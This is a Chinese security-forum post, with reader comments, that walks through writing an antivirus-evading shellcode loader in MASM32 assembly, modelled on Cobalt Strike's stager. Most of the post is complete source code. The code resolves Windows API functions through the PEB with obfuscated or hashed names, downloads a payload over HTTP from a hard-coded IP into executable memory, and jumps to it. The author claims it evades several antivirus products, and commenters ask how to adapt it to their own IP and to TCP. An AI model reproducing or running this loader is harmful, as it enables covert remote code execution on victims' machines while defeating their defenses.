问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
编译汇编代码实现免杀
渗透测试
在前面的文章中读过CobaltStrike的汇编代码,整体的思路就是用某种函数将shellcode加载到内存,然后跳到写入shellcode内存的地方执行
0x01 前言 ======= 在前面的文章中读过CobaltStrike的汇编代码,整体的思路就是用某种函数将shellcode加载到内存,然后跳到写入shellcode内存的地方执行 如果只是调用函数,不可避免的会让函数在导入表中 用GetProcAddress在没有加密的情况下函数名会出现在.data段中 某天逛倾旋大佬博客的时候,发现大佬直接写汇编代码用nasm编译成obj文件,再使用link生成exe 那shellcode本就是汇编语言,稍加修改不就可以直接编译成exe了吗 这样避免了导入表会存在函数,也不会出现在C中用VirtualAlloc开一块空间,然后shellcode又开一块空间的情况,直接使用汇编加载完整shellcode就可以了 本次文章就来简单实现一下 0x02 编译器&&基础知识 ====================== 这次的编译器选择的是masm32 <https://www.masm32.com/> 大佬文章中用的是nasm,实际测试的时候nasm对低版本windows的兼容性有点差,到winxp就执行不了了 当然也有可能是链接器有问题,网上实在找不到老版本的链接器.. 下面是masm的格式 ```asm .386 ;声明需要使用386的CPU指令,当然还有486,586这里就不展开了 .MODEL flat ;代码段和数据段同用4GB的内存空间 .STACK ;定义栈段,windows中栈是操作系统划分的,一般不定义 .DATA ;数据段 .CODE ;代码段 ``` 有了这些就可以开始写代码了 先整理一下思路,准备写个简单点的 1. 在数据段存放混淆过的函数名和参数,再开出一些空间用来存放后面得到的函数指针 2. 通过PEB找到kernel32.dll的地址然后找到GetProcAddress地址 3. 写一个解密用的函数,不需要太复杂,但是最好不要用xor,这个指令还是有点敏感 4. 把函数名解密,用GetProcAddress找到函数的地址存放到在数据段开的空间 5. 得到全部需要用到的函数指针,最后就正常的调用函数 0x03 代码编写 ========= 数据段 --- 首先是.data段 因为是模仿CS写的,用的函数也是shellcode里面的那些 ```asm .DATA Point0 db 4 dup(0) ;GetProcAddress Point1 db 4 dup(0) ;VirtualAlloc ;db是伪指令意思是指define byte,还有dw-word,dd-dword,dup是duplicate的缩写是重复的意思 ;db 4 dup(0)是指重复写入四字节的0,这里的意思就是留一个四字节的空间用来存放函数指针 ;当然别的数字也没关系因为这里要覆盖掉的 Point0_dll db 4 dup(0) ;kernel32.dll Point1_dll db 4 dup(0) ;wininet.dll ;这里和上面一样用来存放dll的地址 Dll1 db 74h,6ah,6dh,6ah,6dh,66h,77h,2dh,67h,6fh,6fh,00h ;wininet.dll func1 db 55h,6ah,71h,77h,76h,62h,6fh,42h,6fh,6fh,6ch,60h,00h ;VirtualAlloc ;这里是混淆后的dll名称和函数名称,在结尾要加上0,不然字符串会一直连接下去不能截取 func4_param db "aa" func5_param db 32h,33h,2dh,37h,33h,2dh,33h,31h,31h,31h,31h,0 func6_param0 db "HTTP/100",00h func6_param1 db "/z9q8",00h func6_param2 db "GET",00 ;这些就是一些参数了,可以选择混淆也可以明文,ip地址最好混淆一下 ``` 上面没写全,就差不多这个意思,别的函数和dll啥的都可以按照上面来 数据段 --- ```asm .CODE _START: ;固定格式不用这个会提示warning A4023: with /coff switch, leading underscore required for start address : START ;这里开始写汇编代码 call Strlen ;就是调用Strlen函数,下面是具体的实现 Strlen: xor ecx,ecx mov esi,[esp+8] s:lodsb inc ecx cmp AL,0 jnz s dec ecx ret END _START ``` 混淆实现 ---- 之前尝试过,xor关键字很容易被识别出来,整个简单点的,所有字符的十六进制-1好了 ```asm ; win.asm .386 .MODEL flat .STACK .DATA func1 db 55h,6ah,71h,77h,76h,62h,6fh,42h,6fh,6fh,6ch,60h,00h ;VirtualAlloc .CODE _START: push offset DWORD PTR func3 ;这是的offset是伪指令,意思是取func1的地址,如果直接 push func1取的是前面四个字符 Decode: mov ebx,[esp+4] ;当前esp的值是call下面的要执行的代码的地址,所以+4取到push进来的值 ;因为要改字符都要-1所以要先得到字符串的长度,这样可以只要需要循环几次 ;需要写一个得到字符串长度的函数 call Strlen ;调用Strlen,这时候长度在ecx寄存器,直接用loop指令 x:mov AL, BYTE PTR [ebx + ecx - 1] ;ebx是指向被混淆的字符串的指针,加上ecx这个指针就到了末尾,最后-1就到了最后一个字符,中括号就和C语言中的&是相同的,用BYTE PTR设定了取一字节存入AL中 inc AL ;因为设定的是混淆的字符串是-1,+1后就正确了 mov BYTE PTR [ebx + ecx - 1], AL ;最后把动过的字符串放回原来的位置 loop x ;如果ecx不为0那么到x位置继续循环 ret 4 ;前面push了 Strlen: xor ecx,ecx ;首先把ecx置零 mov esi,[esp+8] ;因为这里又call了所以要取esp+8的位置,放到esi里面 s:lodsb ;lodsb执行一次会把esi执行的第一个字节存入al中,然后esi+1 inc ecx ;自加1 cmp AL,0 ;对比AL是否为0,不为0标志位不动 jnz s ;要是标志为不为1跳回s位置重新执行 dec ecx ;因为这里ecx是算上0的,所以要减1 ret 4 ;返回,因为前面有一个push为了堆栈平衡所以要多弹出4字节 END _START ``` 完整代码 ---- 可以先用python生成混淆后的字符串 ```python a = "LoadLibraryA" for i in range(0, len(a)): print(hex((ord(a[i]))-1).replace("0x",""),end="h,") print("00h") ``` ```asm ; win.asm .386 .MODEL flat .STACK .DATA Point0 db 4 dup(0) ;GetProcAddress Point1 db 4 dup(0) ;VirtualAlloc Point2 db 4 dup(0) ; Point3 db 4 dup(0) ; Point4 db 4 dup(0) ;InternetOpenA Point5 db 4 dup(0) ;InternetConnectA Point6 db 4 dup(0) ;HttpOpenRequestA Point7 db 4 dup(0) ;HttpSendRequestA Point8 db 4 dup(0) ;InternetReadFile Point0_dll db 4 dup(0) ;kernel32.dll Point1_dll db 4 dup(0) ;wininet.dll Dll1 db 76h,68h,6dh,68h,6dh,64h,73h,2dh,63h,6bh,6bh,00h ;wininet.dll func1 db 55h,68h,71h,73h,74h,60h,6bh,40h,6bh,6bh,6eh,62h,00h ;VirtualAlloc func3 db 4bh,6eh,60h,63h,4bh,68h,61h,71h,60h,71h,78h,40h,00h ;LoadLibraryA func4 db 48h,6dh,73h,64h,71h,6dh,64h,73h,4eh,6fh,64h,6dh,40h,00h ;InternetOpenA func5 db 48h,6dh,73h,64h,71h,6dh,64h,73h,42h,6eh,6dh,6dh,64h,62h,73h,40h,00h ;InternetConnectA func6 db 47h,73h,73h,6fh,4eh,6fh,64h,6dh,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpOpenRequestA func7 db 47h,73h,73h,6fh,52h,64h,6dh,63h,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpSendRequestA func8 db 48h,6dh,73h,64h,71h,6dh,64h,73h,51h,64h,60h,63h,45h,68h,6bh,64h,00h ;InternetReadFile func4_param db "aa" func5_param db 30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h func6_param0 db "HTTP/100",00h func6_param1 db "/5quA",00h func6_param2 db "GET",00 ;上面都是一些函数名,dll名,参数啥的,存在数据段 .CODE ASSUME FS:NOTHING ;指定FS,不然用FS+0x30找PEB会找不到 _START: call Getkernel32DLL ;找kerner32.dll的地址 mov DWORD PTR [Point0_dll], ebx ;上一个函数结束后kernel32的地址在 call Get_Function ;找到GetProcAddress的地址 mov DWORD PTR [Point0],edx ;地址存入Point0 push offset DWORD PTR func3 ;压入混淆后的字符串 call Decode ;解码,正确的字符串会覆盖在原先的位置 push offset DWORD PTR Dll1 call Decode mov eax,DWORD PTR [Point0_dll] ;kernel32的地址存入eax push offset DWORD PTR func3 ;压入函数名 push eax ;压入地址 call DWORD PTR [Point0] ;调用GetProcAddress函数 push offset DWORD PTR Dll1 ;上面得到的是LoadLibraryA的地址,这时候eax是指向LoadLibraryA的函数指针,这里push wininet的字符串,下面直接call eax就可以加载wininet.dll call eax ;call LoadLibraryA mov DWORD PTR [Point1_dll], eax ;wininet地址存入Point1_dll中 push offset DWORD PTR func4 call Decode mov eax, DWORD PTR [Point1_dll] push offset DWORD PTR func4 push eax call DWORD PTR [Point0] mov DWORD PTR [Point4], eax push offset DWORD PTR func5 call Decode mov eax, DWORD PTR [Point1_dll] push offset DWORD PTR func5 push eax call DWORD PTR [Point0] mov DWORD PTR [Point5], eax push offset DWORD PTR func6 call Decode mov eax, DWORD PTR [Point1_dll] push offset DWORD PTR func6 push eax call DWORD PTR [Point0] mov DWORD PTR [Point6], eax push offset DWORD PTR func7 call Decode mov eax, DWORD PTR [Point1_dll] push offset DWORD PTR func7 push eax call DWORD PTR [Point0] mov DWORD PTR [Point7], eax push offset DWORD PTR func1 call Decode mov eax, DWORD PTR [Point0_dll] push offset DWORD PTR func1 push eax call DWORD PTR [Point0] mov DWORD PTR [Point1], eax push offset DWORD PTR func8 call Decode mov eax, DWORD PTR [Point1_dll] push offset DWORD PTR func8 push eax call DWORD PTR [Point0] mov DWORD PTR [Point8], eax ;上面都是类似的操作,把字符串压入然后解密,得到的函数指针存入数据段中 push offset DWORD PTR func5_param ;ip地址解密 call Decode push 0 push 0 push 0 push 1 push offset DWORD PTR func4_param call DWORD PTR [Point4] ;调用InternetOpenA push 0 push 0 push 3 push 0 push 0 push 52h ;这里是端口 push offset DWORD PTR func5_param push eax call DWORD PTR [Point5] ;InternetConnectA push 0 push 4000000h push 0 push 0 push offset DWORD PTR func6_param0 push offset DWORD PTR func6_param1 push offset DWORD PTR func6_param2 push eax call DWORD PTR [Point6] ;HttpOpenRequestA mov DWORD PTR [Point2],eax ;将得到的句柄存入Point2中 push 0 push 0 push 0 push 0 push eax call DWORD PTR [Point7] ;HttpSendRequestA push 40h push 1000h push 400000h push 0 call DWORD PTR [Point1] ;VirtualAlloc push offset DWORD PTR Point3 push 400000h push eax mov edi,eax ;VirtualAlloc的地址存入edi mov eax,DWORD PTR [Point2] push eax call DWORD PTR [Point8] ;InternetReadFile push edi ;edi入栈,这时候存的是VirtualAlloc开辟的地址 ret ;跳到VirtualAlloc开辟的地址执行 Getkernel32DLL: xor ecx,ecx mov eax,fs:[ecx+30h] mov eax, [eax+0Ch] mov esi, [eax+14h] lodsd xchg eax, esi lodsd mov ebx,[eax+10h] ret Get_Function: mov edx,[ebx+3ch] add edx,ebx mov edx, [edx+78h] add edx, ebx mov esi, [edx+20h] add esi, ebx xor ecx,ecx getfunc:inc ecx lodsd add eax,ebx cmp DWORD PTR [eax], 50746547h jnz getfunc cmp DWORD PTR [eax+4], 41636f72h jnz getfunc mov esi, [edx+24h] add esi, ebx mov cx, [esi + ecx * 2] dec ecx mov esi, [edx+1ch] add esi, ebx mov edx, [esi + ecx * 4] add edx, ebx ret Decode: mov ebx,[esp+4] call Strlen x:mov AL, BYTE PTR [ebx + ecx - 1] inc AL mov BYTE PTR [ebx + ecx - 1], AL loop x ret 4 Strlen: xor ecx,ecx mov esi,[esp+8] s:lodsb inc ecx cmp AL,0 jnz s dec ecx ret END _START ``` 然后用下面的指令编译,ml和link都在masm32/bin目录下 ```php ml /c /coff /Cp masm.asm #编译为obj文件 link /subsystem:windows masm.obj #生成exe文件 ``` 实测此方法是可以过火绒和wdf的 360在刚编译好的时候是查不出来的,但是在机器上放一下就会杀掉了,应该是有模拟运行这样的东西,毕竟静态混淆过了,动态执行后在内存中该复原的还是要复原 用了myccl找了一下特征码,数据段提示的是那几个被混淆过的字符串 代码段是搜索GetProcAddress函数的位置 ```asm cmp DWORD PTR [eax], 50746547h jnz getfunc cmp DWORD PTR [eax+4], 41636f72h ``` 看来要学习一下CS的shellcode的写法了 0x04 重新编写 ========= 1. 存入一个特征码 2. 得到导入表中的函数数量,存入ecx中 3. 遍历函数名称,字符右移13位,遍历完函数名后对比特征码,如果不同ecx-1,如果相同话就拿ecx去找函数实际地址 本来还需要得到dll名称的长度再加上后面混淆后的字符,对比特征码的,偷懒不写了 这是cs取函数的方法,尽可能的避免了字符串的出现 和上面一样,要先写出混淆的代码,这里用汇编语言来实现 ```asm ;confusion.asm .386 .MODEL flat,stdcall ;调用约定为stdcall includelib kernel32.lib includelib msvcrt.lib ;包含msvcrt.lib,这样才可以调用里面的函数 strcmp PROTO C, :DWORD,:DWORD printf PROTO C, :VARARG ;定义参数类型 LoadLibraryA PROTO :DWORD ;加载dll用到 .STACK .DATA func db "LoadLibraryA",00h ;LoadLibraryA 要找的函数的函数名 dll db "wininet.dll" ;指定要找的函数的动态链接库 Point0 db 4 dup(0) ;kernel32地址 func_name db 4 dup(0) ;遍历的函数名 tz db 4 dup(0),00h ;混淆后的内容 hex db "%x",00h ;打印的结果以十六进制显示 .CODE ASSUME FS:NOTHING _START: push offset dword ptr dll call LoadLibraryA ;加载dll将dll地址存入Point0 mov DWORD PTR [Point0], eax mov ebx, eax ;dll地址存入ebx mov edx,dword ptr ds:[ebx+3ch] add edx, ebx mov edx,dword ptr ds:[edx+78h] add edx, ebx mov ecx,dword ptr ds:[edx+18h] ;NumberOfNames得到函数数量 mov edx,dword ptr ds:[edx+20h] ;AddressOfNames函数名称的偏移 add edx, ebx ;AddressOfNames地址 a:dec ecx ;ecx-1 mov esi,dword ptr ds:[edx+ecx*4] ;得到函数名称偏移 add esi,ebx ;得到函数名称地址 mov dword ptr [func_name],esi ;得到的函数名称存入func_name xor edi,edi ;xor置零 x:xor eax,eax ;eax置零 lodsb rol edi, 2 add edi,eax ;上面就是简单的混淆 cmp al,0 ;如果对比到0说明函数名遍历结束 jnz x mov dword ptr [tz], edi ;得到的特征存入tz pushad ;全部寄存器全部入栈,因为strcmp执行后会修改几个寄存器的值,为了保证寄存器的值一样,先入栈保存 push offset dword ptr func ;要找的函数名 push DWORD PTR func_name ;遍历到的函数名 call strcmp ;执行strcmp pop ebx ;因为strcmp不会内平栈所以pop弹出参数 pop ebx ;同上 cmp eax,0 ;对比是否相同 popad ;复原寄存器 jnz a push dword ptr tz ;相同就走到这里特征入栈 push offset dword ptr hex ;以十六进制显示 call printf ;调用函数 END _START ;ml /c /coff /Cp confusion.asm ;link /subsystem:console /libpath:c:\masm32\lib confusion.obj 这里用console打印的结果会在控制台显示,windows的话不显示控制台,然后要设定lib的路径 ``` 0x6fceae14——LoadLibraryA 0xb7a84d25——InternetOpenA 0xea07de71——InternetConnectA 0x737cae72——HttpOpenRequestA 0x7524ae72——HttpSendRequestA 0x79c5937c——VirtualAlloc 0xea134901——InternetReadFile ```asm ; win.asm .386 .MODEL flat .STACK .DATA Point1 db 4 dup(0) ;VirtualAlloc Point2 db 4 dup(0) ; Point3 db 4 dup(0) ; Point4 db 4 dup(0) ;InternetOpenA Point5 db 4 dup(0) ;InternetConnectA Point6 db 4 dup(0) ;HttpOpenRequestA Point7 db 4 dup(0) ;HttpSendRequestA Point8 db 4 dup(0) ;InternetReadFile Point0_dll db 4 dup(0) ;kernel32.dll Point1_dll db 4 dup(0) ;wininet.dll IED_struct db 4 dup(0) ;IMAGE_EXPORT_DIRECTORY结构指针 func1 db 7ch,93h,0c5h,79h ;VirtualAlloc func3 db 14h,0aeh,0ceh,6fh ;LoadLibraryA func4 db 25h,4dh,0a8h,0b7h ;InternetOpenA func5 db 71h,0deh,07h,0eah ;InternetConnectA func6 db 72h,0aeh,7ch,73h ;HttpOpenRequestA func7 db 72h,0aeh, 24h,75h ;HttpSendRequestA func8 db 01h,49h,13h,0eah ;InternetReadFile func4_param db "aa" func5_param db "10.130.4.205",00h func6_param0 db "HTTP/100",00h func6_param1 db "/5quA",00h func6_param2 db "GET",00 .CODE ASSUME FS:NOTHING _START: call Getkernel32DLL mov DWORD PTR [Point0_dll], ebx push dword ptr func3 push dword ptr Point0_dll call Decode push 0074656eh push 696e6977h push esp call eax mov dword ptr [Point1_dll], eax push dword ptr func4 push eax call Decode mov dword ptr Point4,eax push dword ptr func5 push dword ptr Point1_dll call Decode mov dword ptr Point5,eax push dword ptr func6 push dword ptr Point1_dll call Decode mov dword ptr Point6,eax push dword ptr func7 push dword ptr Point1_dll call Decode mov dword ptr Point7,eax push dword ptr func8 push dword ptr Point1_dll call Decode mov dword ptr Point8,eax push dword ptr func1 push dword ptr Point0_dll call Decode mov dword ptr Point1,eax push 0 push 0 push 0 push 1 push offset DWORD PTR func4_param call DWORD PTR [Point4] push 0 push 0 push 3 push 0 push 0 push 52h push offset DWORD PTR func5_param push eax call DWORD PTR [Point5] push 0 push 4000000h push 0 push 0 push offset DWORD PTR func6_param0 push offset DWORD PTR func6_param1 push offset DWORD PTR func6_param2 push eax call DWORD PTR [Point6] mov DWORD PTR [Point2],eax push 0 push 0 push 0 push 0 push eax call DWORD PTR [Point7] push 40h push 1000h push 400000h push 0 call DWORD PTR [Point1] push offset DWORD PTR Point3 push 400000h push eax mov edi,eax mov eax,DWORD PTR [Point2] push eax call DWORD PTR [Point8] jmp s s:jmp edi int 3 Getkernel32DLL: xor ecx,ecx mov eax,fs:[ecx+30h] mov eax, [eax+0Ch] mov esi, [eax+14h] lodsd xchg eax, esi lodsd mov ebx,[eax+10h] ret Decode: mov ebx,[esp+4] mov eax,[esp+8] mov edx,dword ptr ds:[ebx+3ch] add edx, ebx mov edx,dword ptr ds:[edx+78h] add edx, ebx mov dword ptr [IED_struct], edx mov ecx,dword ptr ds:[edx+18h] mov edx,dword ptr ds:[edx+20h] add edx, ebx a:dec ecx mov esi,dword ptr ds:[edx+ecx*4] add esi,ebx xor edi,edi x:xor eax,eax lodsb rol edi, 2 add edi,eax cmp al,0 jnz x cmp dword ptr [esp+8h],edi jnz a mov edx,dword ptr [IED_struct] mov eax,dword ptr ds:[edx+24h] add eax,ebx mov cx,word ptr ds:[eax+ecx*2] mov edx, dword ptr ds:[edx+1ch] add edx,ebx mov eax,dword ptr ds:[edx+ecx*4] add eax,ebx ret 8 END _START ``` 这方法可以过常见的杀软,但是丢到vir上面查杀的还是挺多的 可以用到花指令,各种同义指令,少用call,jmp,push这类的,可以当一种思路
发表于 2022-05-10 09:36:04
阅读 ( 7882 )
分类:
内网渗透
4 推荐
收藏
7 条评论
lil_G
2022-11-24 22:01
师傅你好,ip那段30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h是怎么生成出来的呀,不如我的是192.168.41.129那应该写啥这里,具体算法怎么样的
Macchiato
回复
lil_G
师傅可以看下Decode函数
Macchiato
回复
lil_G
师傅可以关注下Decode函数
请先
登录
后评论
lil_G
2022-11-26 08:57
请问一下怎么去掉窗口
Macchiato
回复
lil_G
链接的时候参数改为subsystem:console
请先
登录
后评论
Macchiato
2022-12-01 10:37
忘记了师傅..
请先
登录
后评论
thinknothing_
2024-04-12 14:17
师傅咋改成tcp协议
请先
登录
后评论
请先
登录
后评论
Macchiato
13 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!